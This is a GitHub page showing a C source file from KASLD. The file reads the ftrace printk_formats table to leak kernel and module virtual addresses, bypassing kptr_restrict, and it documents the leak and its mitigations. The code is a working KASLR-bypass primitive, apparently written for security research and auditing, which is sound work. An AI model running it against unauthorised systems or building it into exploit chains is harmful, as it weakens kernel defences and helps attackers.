-
Notifications
You must be signed in to change notification settings - Fork 52
Expand file tree
/
Copy pathtracefs_printk_formats.c
More file actions
144 lines (133 loc) · 5.29 KB
/
Copy pathtracefs_printk_formats.c
File metadata and controls
144 lines (133 loc) · 5.29 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
// This file is part of KASLD - https://github.com/bcoles/kasld
//
// Harvest kernel text/rodata virtual addresses from the ftrace printk-format
// table (/sys/kernel/tracing/printk_formats).
//
// Every trace_printk() / bpf_trace_printk() format string is recorded in the
// kernel's __trace_printk_fmt section; tracefs exposes the table as lines of
// 0x<addr> : "<format>"
// where <addr> is the address of the format string in kernel (or module)
// rodata. The address is printed with a bare "0x%lx" — NOT through %pK and NOT
// behind the kallsyms_show_value() gate — so unlike /proc/kallsyms it is NOT
// subject to kptr_restrict. The tracefs file is mode 0444 and tracefs honours a
// "gid=" mount option, so on systems configured for unprivileged tracing (a
// "tracing" group) the table is readable without root.
//
// A format-string address is an interior point of the kernel image (or of a
// module): it bounds the kernel text base from above, and with the image size
// from below.
//
// Leak primitive:
// Data leaked: kernel/module rodata virtual addresses (format strings)
// Kernel subsystem: kernel/trace — the __trace_printk_fmt table
// Data structure: trace_bprintk_fmt_list / __trace_printk_fmt section
// Address type: virtual (kernel text/rodata, or module)
// Method: parsed (tracefs table read)
// Status: information exposure (raw 0x%lx, no kptr_restrict gate)
// Access check: tracefs mount perms only (file is 0444); NOT
// kptr_restrict
//
// Caveat: the table is only populated once trace_printk()/bpf_trace_printk()
// (e.g. a BPF program using bpf_printk) has run; on a clean system it may be
// empty, in which case this yields nothing.
//
// Mitigations:
// Mount tracefs root-only (omit gid=) to deny unprivileged reads. There is no
// kptr_restrict gate on the printed address, so kptr_restrict does not help.
// ---
// <bcoles@gmail.com>
#include "include/kasld/api.h"
#include "include/kasld/cli.h"
#include <errno.h>
#include <stdio.h>
#include <string.h>
KASLD_EXPLAIN(
"Reads kernel/module rodata virtual addresses from the ftrace printk "
"format table (/sys/kernel/tracing/printk_formats). Each entry is printed "
"as a bare 0x%lx address, with no kptr_restrict / kallsyms_show_value "
"gate, "
"so it discloses real kernel addresses where /proc/kallsyms would be "
"masked. The file is mode 0444 under tracefs (gid=-mountable), so it can "
"be "
"readable without root on systems set up for unprivileged tracing. Each "
"format-string address is an interior point bounding the kernel text base. "
"Only populated once trace_printk()/bpf_trace_printk() has run.");
KASLD_META("method:parsed\n"
"phase:inference\n"
"discloses:virtual\n"
"note:bypasses_kptr_restrict\n");
static const char *const PATHS[] = {
"/sys/kernel/tracing/printk_formats",
"/sys/kernel/debug/tracing/printk_formats",
};
int main(int argc, char **argv) {
kasld_cli(argc, argv);
FILE *f = NULL;
const char *path = NULL;
for (size_t i = 0; i < sizeof(PATHS) / sizeof(PATHS[0]); i++) {
f = kasld_fopen(PATHS[i], "r");
if (f) {
path = PATHS[i];
break;
}
if (errno == EACCES || errno == EPERM)
return KASLD_EXIT_NOPERM;
}
if (!f)
return KASLD_EXIT_UNAVAILABLE;
kasld_info("reading %s ...", path);
unsigned long text_lo = 0, text_hi = 0, mod_lo = 0, mod_hi = 0;
int have_text = 0, have_mod = 0;
char line[1024];
/* Lines: 0x<addr> : "<format>". %lx consumes the 0x prefix. */
while (fgets(line, sizeof(line), f)) {
unsigned long a;
const char *e;
if (!kasld_addr_parse(line, 16, &a, &e) || a == 0)
continue;
while (*e == ' ')
e++;
if (*e != ':')
continue;
if (kasld_addr_is_kernel_text(a)) {
if (!have_text || a < text_lo)
text_lo = a;
if (!have_text || a > text_hi)
text_hi = a;
have_text = 1;
} else if (kasld_addr_is_module_band(a)) {
if (!have_mod || a < mod_lo)
mod_lo = a;
if (!have_mod || a > mod_hi)
mod_hi = a;
have_mod = 1;
}
}
fclose(f);
if (!have_text && !have_mod) {
kasld_info("no kernel/module addresses in printk_formats "
"(table empty - no trace_printk/bpf_printk activity?)");
return KASLD_EXIT_UNAVAILABLE;
}
/* Emit the lowest and highest witnesses per region: the low point bounds the
* text base from above tightly, the high point bounds it from below (with the
* image size). Both are interior samples (pos=interior via _sample). */
if (have_text) {
kasld_info("kernel text/rodata format addresses: 0x%lx-0x%lx", text_lo,
text_hi);
kasld_result_sample(KASLD_TYPE_VIRT, REGION_KERNEL_TEXT, text_lo,
"printk_fmt", CONF_PARSED);
if (text_hi != text_lo)
kasld_result_sample(KASLD_TYPE_VIRT, REGION_KERNEL_TEXT, text_hi,
"printk_fmt", CONF_PARSED);
}
if (have_mod) {
kasld_info("module format addresses: 0x%lx-0x%lx", mod_lo, mod_hi);
kasld_result_sample(KASLD_TYPE_VIRT, REGION_MODULE_BAND, mod_lo,
"printk_fmt", CONF_PARSED);
if (mod_hi != mod_lo)
kasld_result_sample(KASLD_TYPE_VIRT, REGION_MODULE_BAND, mod_hi,
"printk_fmt", CONF_PARSED);
}
return 0;
}